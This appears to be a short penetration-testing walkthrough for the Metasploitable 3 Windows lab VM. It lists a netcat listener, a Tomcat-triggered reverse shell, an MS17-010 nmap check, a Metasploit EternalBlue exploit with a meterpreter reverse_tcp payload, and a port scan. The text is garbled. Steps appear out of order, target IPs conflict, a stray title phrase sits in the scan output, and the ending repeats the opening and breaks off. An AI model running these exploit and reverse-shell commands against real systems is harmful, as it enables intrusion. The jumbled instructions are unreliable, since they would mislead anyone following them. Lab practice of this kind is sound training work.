Metasploitable 3 Windows Walkthrough May 2026

Metasploitable 3 Windows Walkthrough May 2026

Before we type a single exploit, we need the environment stable.

If EternalBlue fails, Tomcat is your friend.

  • Set up listener:

    nc -lvnp 4444
    
  • Trigger – visit http://192.168.56.103:80/shell/ – you now have a reverse shell as NT AUTHORITY\NETWORK SERVICE.

  • Check vulnerability:

    nmap --script smb-vuln-ms17-010 -p445 192.168.56.105
    

    Exploit using Metasploit:

    msfconsole
    use exploit/windows/smb/ms17_010_eternalblue
    set RHOSTS 192.168.56.105
    set PAYLOAD windows/x64/meterpreter/reverse_tcp
    set LHOST 192.168.56.10   # Kali IP
    run
    
    ping -c 2 192.168.56.103
    nmap -sS -sV -O -p- -T4 192.168.56.103
    

    Key findings (typical for Metasploitable 3): metasploitable 3 windows walkthrough

    PORT      STATE SERVICE        VERSION
    80/tcp    open  http           Apache Tomcat 6.0.20
    135/tcp   open  msrpc          Windows RPC
    139/tcp   open  netbios-ssn    Samba smbd 3.X
    445/tcp   open  microsoft-ds   Windows 2008 R2
    5985/tcp  open  http           Microsoft HTTPAPI httpd 2.0 (WinRM)
    3306/tcp  open  mysql          MySQL 5.1.66
    3389/tcp  open  tcpwrapped     RDP
    47001/tcp open  http           Microsoft HTTPAPI
    8182/tcp  open  unknown
    

    Because Metasploitable 3 has weak credentials, we can bypass complex exploitation entirely.

    We have multiple paths to gain an initial foothold. Let's explore the most common ones. Before we type a single exploit, we need